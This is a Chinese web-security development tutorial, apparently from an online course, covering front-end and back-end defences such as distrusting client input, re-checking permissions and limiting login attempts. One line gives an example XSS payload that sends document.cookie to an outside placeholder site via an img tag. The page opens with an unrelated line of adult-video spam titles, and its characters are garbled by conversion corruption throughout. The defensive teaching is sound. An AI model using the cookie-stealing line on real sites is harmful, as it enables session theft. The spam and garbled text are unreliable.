第七色在线视频,2021少妇久久久久久久久久,亚洲欧洲精品成人久久av18,亚洲国产精品特色大片观看完整版,孙宇晨将参加特朗普的晚宴

首頁(yè) 慕課教程 HTTP 入門教程 HTTP 入門教程 WEB 應(yīng)用安全開發(fā)

WEB 應(yīng)用安全開發(fā)

黑客大部分利用的是軟件的漏洞,所以我們要盡可能在開發(fā)的時(shí)候切斷所有可能被利用的地方。要想開發(fā)出安全的系統(tǒng),我們需要熟悉黑客進(jìn)攻的模式和防守的策略。

1. 簡(jiǎn)介

重視安全最好的策略是將風(fēng)險(xiǎn)最大化,開發(fā)的時(shí)候要換位思考,如果我是黑客我是不是有辦法繞過(guò)當(dāng)前的限制。在進(jìn)行具體場(chǎng)景講解前,先來(lái)了解一些關(guān)鍵詞。

1.1 關(guān)鍵名詞

  • 同域: 相同域名,端口相同,協(xié)議相同,缺一不可。

  • 跨域: 瀏覽器從一個(gè)域名的網(wǎng)頁(yè)去請(qǐng)求另一個(gè)域名的資源時(shí),域名、端口、協(xié)議至少有一個(gè)不相同,就是跨域。

  • ECMAScript: 簡(jiǎn)稱(ES)JavaScript 所遵循的語(yǔ)法標(biāo)準(zhǔn)。

  • W3C: 即 萬(wàn)維網(wǎng)聯(lián)盟 ,最重要的工作是發(fā)展 Web 規(guī)范,這些規(guī)范描述了 Web 的通信協(xié)議(比如 HTML 和 XHTML)和其他的構(gòu)建模塊。

1.2 安全領(lǐng)域的參與者

把握安全領(lǐng)域就要把握 Web 流程中的參與者,除了攻擊者外其它角色均需要提供安全的解決方案。從大的方向有下面幾大角色,沒(méi)有誰(shuí)是絕對(duì)安全的。
參與者

2. 前端安全開發(fā)

前端的安全主要圍繞 W3C 進(jìn)行,同時(shí)瀏覽器的漏洞和 Http 協(xié)議本身的缺陷也會(huì)造成影響。

2.1 明文防范

W3C 三個(gè)核心對(duì)象:HTML,JavaScript,CSS 分別負(fù)責(zé)了網(wǎng)站的內(nèi)容結(jié)構(gòu),動(dòng)作交互邏輯,展示樣式。這么核心的東西在客戶都是很容易查看的。雖然 JavaScript 可以混淆加密,但是最終他是需要被瀏覽器解析的,所以肯定是有一套固定的規(guī)范,黑客同樣可以輕易解密。
明文也就算了,用戶居然可以任意更改上面 W3C 的核心對(duì)象,并產(chǎn)生不同的效果,真的是危機(jī)四伏。

  • 不要異想天開的在前端與后臺(tái)約定某個(gè)加密算法,這樣算法一下子就泄露了;
  • 對(duì)于前端的輸入都要保持懷疑,重要的數(shù)據(jù)如果后端允許,需要自行生成或者加以校驗(yàn);
  • 雖然客戶端的一覽無(wú)遺,但是還是要盡量使用 Https 協(xié)議,保證傳輸?shù)倪^(guò)程是加密的;
  • 需要權(quán)限的操作,即使前端按鈕隱藏了,后端的接口也需要重新鑒權(quán)下,很可能客戶端自己修改 CSS 使按鈕顯示出來(lái)了;

2.2 URL 導(dǎo)致的泄露問(wèn)題

前端任何地方帶有 URL 的都要引起警惕,主要可能帶來(lái)下面安全問(wèn)題:

  1. 構(gòu)建系統(tǒng)的某些接口等用戶登錄后觸發(fā);
  2. 調(diào)用別的網(wǎng)站,將該作用域下的 Cookie 傳輸出去。

常見(jiàn)隱藏點(diǎn):
圖片

<img src='http:xxx'>

css 樣式

background:url(bgimage.gif)

表單 action 地址,或者注入隱藏的 input 參數(shù)

<form action=''>
<input type="hidden" name="field_name" value="value"> 

2.3 window 下的全局變量

Window 下面帶了很多可以直接使用的全局變量,要警惕危險(xiǎn)。

圖片描述

危險(xiǎn)點(diǎn):利用 window.document 獲取本域 cookie 然后傳輸?shù)胶诳偷木W(wǎng)站

<img src='別的網(wǎng)站URL?param='+document.cookie >

容易受跨站腳本攻擊利用

window.location.href = 【該值最好不要是動(dòng)態(tài)的,容易被注入】

3. 后端安全開發(fā)

3.1 規(guī)范問(wèn)題

  1. 權(quán)威機(jī)構(gòu)平臺(tái)漏洞訂閱,并及時(shí)做出修改。
  2. 開發(fā)規(guī)范的遵守
    • 學(xué)習(xí)相關(guān)開發(fā)規(guī)范手冊(cè)。
    • IDEA 安裝實(shí)時(shí)的代碼掃描插件,有問(wèn)題的地方及時(shí)更正。
  3. 代碼 review 實(shí)踐。
  4. 重要參數(shù)不要輕易在日志中輸出。
  5. 代碼泄露
    • 代碼不要上傳網(wǎng)上。
    • 數(shù)據(jù)庫(kù),簽名算法,密鑰值 要重要保管,線上不相關(guān)的人不要泄露。
  6. 重要賬號(hào)不要為了一時(shí)方便提供給開發(fā),測(cè)試 等不相干人員,如果有也要及時(shí)修改密碼。

3.2 設(shè)計(jì)問(wèn)題

  1. 類似活動(dòng)的抽獎(jiǎng),優(yōu)惠卷領(lǐng)取邏輯不夠嚴(yán)謹(jǐn),可能被人褥羊毛;
  2. 登錄沒(méi)有限制次數(shù),容易被暴力破解;
  3. 短信驗(yàn)證沒(méi)有設(shè)置重發(fā)時(shí)間,容易被利用做短信轟炸。

3.3 信任問(wèn)題

  1. 同域:檢查請(qǐng)求頭的 ref 參數(shù),要么是同域的,要么是信任的才響應(yīng)。

  2. 請(qǐng)求參數(shù)

    • 不要太信任前端參數(shù),重要值后臺(tái)能獲取的盡量自己獲取。
    • 請(qǐng)求的所有參數(shù)都做下 XSS/ SQL 注入 的關(guān)鍵字符的過(guò)濾。
  3. 權(quán)限:涉及到權(quán)限的后端都要自己校驗(yàn),不要說(shuō)前端按鈕隱藏了就可以了。

3.4 增加風(fēng)控邏輯

  1. 用戶的賬號(hào)異地登陸,可以做出些限制或提醒。
  2. 某個(gè)用戶購(gòu)買的某個(gè)商品或者領(lǐng)取的優(yōu)惠卷異常多,做出限制。
  3. 通過(guò) AI 智能模型,對(duì)用戶行為,流量數(shù)據(jù)進(jìn)行檢測(cè),模型異常就做出限制。

3.5 網(wǎng)絡(luò)策略限制

  1. 數(shù)據(jù)庫(kù),Redis,ES,等需要設(shè)置訪問(wèn)的 IP 白名單。
  2. 對(duì)服務(wù)器進(jìn)流量和出流量端口做限制。
  3. 架構(gòu)上面盡量隱藏內(nèi)部服務(wù)等地址。
  4. 數(shù)據(jù)庫(kù)和應(yīng)用最好分開,以免被一鍋端。

4. 小結(jié)

安全問(wèn)題需要經(jīng)驗(yàn)累積,軟件開發(fā)作為一個(gè)團(tuán)隊(duì)協(xié)作的工作,大家經(jīng)驗(yàn)水平不同,所以盡量在團(tuán)隊(duì)中分享安全開發(fā)的相關(guān)知識(shí),技術(shù) Leader 定期 Review 組員代碼。